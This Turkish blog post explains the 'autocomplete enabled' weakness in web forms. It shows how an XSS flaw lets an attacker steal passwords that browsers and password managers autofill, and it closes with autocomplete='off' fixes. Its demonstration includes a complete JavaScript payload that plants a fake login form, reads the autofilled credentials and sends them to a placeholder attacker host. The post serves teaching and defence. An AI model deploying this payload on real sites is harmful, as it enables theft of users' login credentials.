SGE Blog Yayınları

Web Uygulamalarda Otomatik Tamamlamanın Açık Bırakılması Açıklığı

Web Uygulamalarda Otomatik Tamamlamanın Açık Bırakılması Açıklığı

yazan Hasan Fatih Şimşek -
Number of replies: 0

Çoğu web tarayıcı HTML formlarına girilen kullanıcı hesaplarını hatırlatma konusunda bir mekanizmaya sahiptirler. Bu mekanizma enable edildiğinde kullanıcı hesapları kullanıcının makinesine depolanır. Depolanan kullanıcı hesapları bir sonraki ziyarette ise tarayıcı tarafından aynı uygulamaya çekilir. 

Kullanıcı makinesinde depolanan kullanıcı hesapları kullanıcının makinesine sızarak ya da fiziksel anlamda makineyi ele geçirerek elde edilebilir. Aynı zamanda kullanıcı makinesinde depolanan kullanıcı hesapları kullanıcı seviyesinde kod çalıştırma haklarını kullanarak, yani ilgili web uygulamasının farklı zafiyetlerinden (örn; XSS zafiyetinden) yararlanarak elde edilebilir.

Hemen hemen tüm modern web tarayıcıları kullanıcı hesaplarını hatırlatmak için bir mekanizmaya sahiptirler. Ayrıyetten kullanıcılar third-party uygulamalar ile de hesaplarını yönetebilmektedirler. Tüm bu çözümler kullanıcıların zamanını kurtarmaktadır ve genellikle şifre unutmalarına karşı yardımcı olmaktadır. Hem tarayıcıların hem de third-party uygulamaların şifre hatırlatma mekanizmalarındaki en göze çarpan problem XSS ile sömürülebilmesidir. Çünkü birçok şifre hatırlatma mekanizması login form'larını doldurduğu için saldırgan form bir kez dolduruldu mu Javascript ile metin kutularının içeriklerini okuyabilir ve içerikleri Ajax talebi ile kendi sunucusuna göndererek hesapları ele geçirebilir. Bu işlem nasıl gerçekleşir detaylarıyla Uygulama başlığında anlatılacaktır.

XSS zafiyetine karşı yaygın ve etkili olan çözümlerden biri oturum çerezlerine HTTPOnly bayrağını eklemektir. Bu çözüm genellikle saldırganların XSS ile kullanıcı çerezlerini çalmasının önüne geçer. Ancak yine de bu çözümün etrafından dolanarak HTTP Trace metodu yoluyla kullanıcı çerezleri çalınabilmektedir. Fakat uygulamada hem HttpOnly önlemi varsa ve hem de HTTP Trace metodu kapatılmışsa her ne kadar kullanıcı çerezlerinin çalınmasının önüne geçilmiş olsa da halen kullanıcı hesapları risk altındadır. 

Uygulama

Bu başlık altında XSS zafiyeti üzerinden uygulamada autocomplete edilen kullanıcı hesaplarını çalma işlemi gösterilecektir.

Gereksinimler

Autocomplete Credential Calma Uygulamasi.zip 

Uygulamaya göre iki sayfa mevcuttur. Birinci sayfada (index.php'de) login formu, ikinci sayfada (reflections.php'de) XSS zafiyeti dolayısıyla kullanıcı hesabını çalma kodları yer almaktadır. 

Not:

Bu uygulamadadaki XSS ile kullanıcı hesaplarını çalma işleminin aşağıdaki şifre 

hatırlatma mekanizmalarında sınandığı ve sorunsuz çalıştığı belirtilmekte.

LastPass (Current version as of April 2012)

Chrome (version 17)

Firefox (version 11)

Internet Explorer (version 9)

Öncelikle kullanıcı login sayfasını görüntüleyecektir ve bilgilerini girecektir (Bilgiler username:user1, password:secret).

otomatiktamamlamaninacikbirakilmasi1

Şifre hatırlama mekanizması girilen bilgileri daha sonra hatırlatayım mı diye sorduğunda evet denilecektir.

otomatiktamamlamaninacikbirakilmasi2

Ardından kullanıcı uygulamanın XSS zafiyetine sahip sayfasına (ikinci sayfaya) gidecektir.

otomatiktamamlamaninacikbirakilmasi3Saldırgan ikinci sayfada yer alan XSS zafiyeti dolayısıyla aşağıdaki Javascript kodlarını ikinci sayfaya yerleştirdi diyelim.
<script type="text/javascript">
    ex_username = '';
    ex_password = '';
    inter = '';
    function attack(){
        ex_username = document.getElementById('username').value;
        ex_password = document.getElementById('password').value;
        if(ex_username != '' | ex_password != ''){
            document.getElementById('xss').style.display = 'none'
            request=new XMLHttpRequest();
            url = "http://www.attackersite/pw/xss?username="+ex_username+"&password="+ex_password;
            request.open("GET",url,true);
            request.send();
            document.getElementById('xss').style.visibility='hidden';
            window.clearInterval(inter);
        }
    }
    document.write("\
    <div id='xss'>\
    <form method='post' action='index.php'>\
    username:<input type='text' name='username' id='username' value='' autocomplete='on'>\
    password:<input type='password' name='password' id='password' value='' autocomplete='on'>\
    <input type='submit' name='login' value='Log In'>\
    </form>\
    </div>\
    ");
    inter = window.setInterval("attack()",100);
</script>
Not: Bu Javascript kodları Internet Explorer'da uyumsuzluk nedeniyle çalışmamaktadır.

Bu yerleştirilen javascript kodları ikinci sayfaya uygulamanın login sayfasında kullanılan name attribute değerleriyle aynı olan kullanıcı adı ve şifre textbox'ları koymaktadır. Kurban uygulamanın gerçek login sayfasında autocomplete'e evet dediği için tarayıcı aynı uygulamanın XSS zafiyetine sahip sayfasında yer alacak login formunu da otomatik dolduracaktır. 

otomatiktamamlamaninacikbirakilmasi4

Tarayıcının bu sahte login formuna yaptığı dolum işlemi sonrası Javascript kodları textbox'lardaki değerleri alacaktır ve AJAX kodları ile bu değerleri (kullanıcı adı ve şifreyi) saldırganın sitesine gönderecektir.

otomatiktamamlamaninacikbirakilmasi5

Böylelikle kurbanın hesabı çalınmış olacaktır. İlk bakışta neden textbox'lara onchange event'ı konarak AJAX talebi tetiklemesi yapılmadı sorusu akla gelebilir. Bunun nedeni onchange event'inin tarayıcılar arasında pek de güvenilir sonuçlar vermemesinden dolayıdır. Onchange yerine textbox'ların otomatik doldurulması zamanlaması dolayısıyla (belirtilen sürede bekleyen ve süre bittiğinde belirtilen fonksiyonu çalıştıran) window.setInterval event'i kullanılmıştır. Bu event daha az zarif olsa da çok daha etkilidir.

Yukarıdaki javascript kodları IE'de çalışmamaktadır. Internet Explorer'da çalışmamasının nedeni Internet Explorer'un şifre hatırlatma mekanizmasının kullanıcı hesaplarını otomatik olarak doldurmamasından dolayıdır. Göründüğü kadarıyla Internet Explorer kullanıcı hesaplarını domain bazında, yani uygulamanın tamamında hatırlatma yerine sadece spesifik bir sayfaya özgü hatırlatma yapmaktadır. Bu işlem kullanılırlık açısından pek de uygun olmasa da şifre hatırlatma mekanizmasının güvenliğini yükseltme bakımından faydalı olmaktadır. 

Form alanları hassas bilgiler (ör; kullanıcı adı, TC kimlik numarası, kredi kart numarası, CVV,... gibi bilgiler) içerebilir. Dolayısıyla autocomplete işlevinin hassas form alanlarında kullanılmaması önerilmektedir.

Autocomplete Enabled Zafiyeti Nasıl Kapatılır?

Web tarayıcılarının HTML formlarına girilen hesapları yerel makinede depolamasının önüne geçebilmek için autocomplete="off" özelliği (tüm form alanlarını korumak maksadıyla) form etiketi içerisine yerleştirilmelidir. 

<form method="POST" action="index.php" autocomplete="off">
            username:<input type="text" name="username"><br>
            password:<input type="password" name="password"><br>
            <input type="submit" name="login" value="Log In">
</form>

Tüm form alanlarını korumanın yerine daha çok spesifik form alanlarını korumak için ise belirli input etiketleri içerisine autocomplete="off" özelliği konabilir. 

<form method="POST" action="index.php">
            username:<input type="text" name="username"><br>
            password:<input type="password" name="password" autocomplete="off"><br>
            <input type="submit" name="login" value="Log In">
</form>

Aşağıdaki kullanım ise tarayıcılar arasındaki uyumsuzluğu gidermek anlamında en ideal olanıdır:

<form method="POST" action="index.php" autocomplete="off">
            username:<input type="text" name="username" autocomplete="off"><br>
            password:<input type="password" name="password" autocomplete="off"><br>
            <input type="submit" name="login" value="Log In">
</form>

Ancak dikkat edilmesi gereken bir şey var ki o da modern web tarayıcılarının bu direktifleri görmezden gelebilmesidir. Buna rağmen yine de autocomplete'i off değeriyle hiç kullanmamaktansa kullanmak daha yerinde bir tercihtir. 

Kaynaklar

https://portswigger.net/kb/issues/00500800_password-field-with-autocomplete-enabled

https://www.acunetix.com/vulnerabilities/web/password-type-input-with-auto-complete-enabled

https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/autocomplete-enabled/

https://news.ycombinator.com/item?id=4847350

http://beefproject.com/

https://labs.neohapsis.com/2012/04/25/abusing-password-managers-with-xss/



924 kelime